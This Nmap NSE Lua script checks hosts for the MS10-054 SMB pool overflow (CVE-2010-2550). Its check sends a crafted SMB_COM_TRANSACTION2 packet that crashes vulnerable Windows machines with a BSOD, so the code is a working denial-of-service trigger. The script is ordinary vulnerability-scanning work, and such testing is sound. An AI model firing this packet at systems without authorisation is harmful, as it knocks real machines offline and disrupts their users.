local smb = require "smb"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"

description = [[
Tests whether target machines are vulnerable to the ms10-054 SMB remote memory
corruption vulnerability.

The vulnerable machine will crash with BSOD.

The script requires at least READ access right to a share on a remote machine.
Either with guest credentials or with specified username/password.

]]

---
-- @usage nmap  -p 445 <target> --script=smb-vuln-ms10-054 --script-args unsafe
--
-- @args unsafe Required to run the script, "safety swich" to prevent running it by accident
-- @args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs)
-- @output
-- Host script results:
-- | smb-vuln-ms10-054:
-- |   VULNERABLE:
-- |   SMB remote memory corruption vulnerability
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2010-2550
-- |     Risk factor: HIGH  CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
-- |       Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
-- |       does not properly validate fields in an SMB request, which allows remote attackers
-- |       to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
-- |
-- |     Disclosure date: 2010-08-11
-- |     References:
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550
-- |_      http://seclists.org/fulldisclosure/2010/Aug/122

author = "Aleksandar Nikolic"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive","dos"}

hostrule = function(host)
  return smb.get_port(host) ~= nil
end

-- stolen from smb.lua as max data count needed to be modified to trigger the crash
local function send_transaction2(smbstate, sub_command, function_parameters)
  local header, parameters, data, command
  local parameter_offset = 0
  local parameter_size   = 0
  local data_offset      = 0
  local data_size        = 0
  local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
  local response = {}

  -- Header is 0x20 bytes long (not counting NetBIOS header).
  header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2

  if(function_parameters) then
    parameter_offset = 0x44
    parameter_size = #function_parameters
    data_offset = #function_parameters + 33 + 32
  end

  -- Parameters are 0x20 bytes long.
  parameters = string.pack("<I2I2I2I2 BB I2 I4 I2I2I2I2I2 BB I2",
  parameter_size,                  -- Total parameter count.
  data_size,                       -- Total data count.
  0x000a,                          -- Max parameter count.
  0x000a,                          -- Max data count, less than 12 causes a crash
  0x00,                            -- Max setup count.
  0x00,                            -- Reserved.
  0x0000,                          -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
  0x00001388,                      -- Timeout (0x00000000 = return immediately).
  0x0000,                          -- Reserved.
  parameter_size,                  -- Parameter bytes.
  parameter_offset,                -- Parameter offset.
  data_size,                       -- Data bytes.
  data_offset,                     -- Data offset.
  0x01,                            -- Setup Count
  0x00,                            -- Reserved
  sub_command                      -- Sub command
  )

  local data = "\0\0\0" .. (function_parameters or '')

  -- Send the transaction request
  stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION2")
  local result, err = smb.smb_send(smbstate, header, parameters, data, {})
  if not result then
    return false, err
  end

  return true
end

action = function(host,port)
  if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
    stdnse.debug1("You must specify unsafe script argument to run this script.")
    return false
  end
  local ms10_054  = {
    title = "SMB remote memory corruption vulnerability",
    IDS = {CVE = 'CVE-2010-2550'},
    risk_factor = "HIGH",
    scores = {
      CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
    },
    description = [[
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
does not properly validate fields in an SMB request, which allows remote attackers
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
]],
    references = {
      'http://seclists.org/fulldisclosure/2010/Aug/122',
      'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
    },
    dates = {
      disclosure = {year = '2010', month = '08', day = '11'},
    },
    exploit_results = {},
  }

  local report = vulns.Report:new(SCRIPT_NAME, host, port)
  ms10_054.state = vulns.STATE.NOT_VULN

  local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"

  local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)

  local param = "0501" -- Query FS Attribute Info
  local status, result = send_transaction2(smbstate,0x03,stdnse.fromhex(param))
  status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
  if not status then -- if not , it has crashed
    ms10_054.state = vulns.STATE.VULN
  else
    stdnse.debug1("Machine is not vulnerable")
  end
  return report:make_output(ms10_054)
end
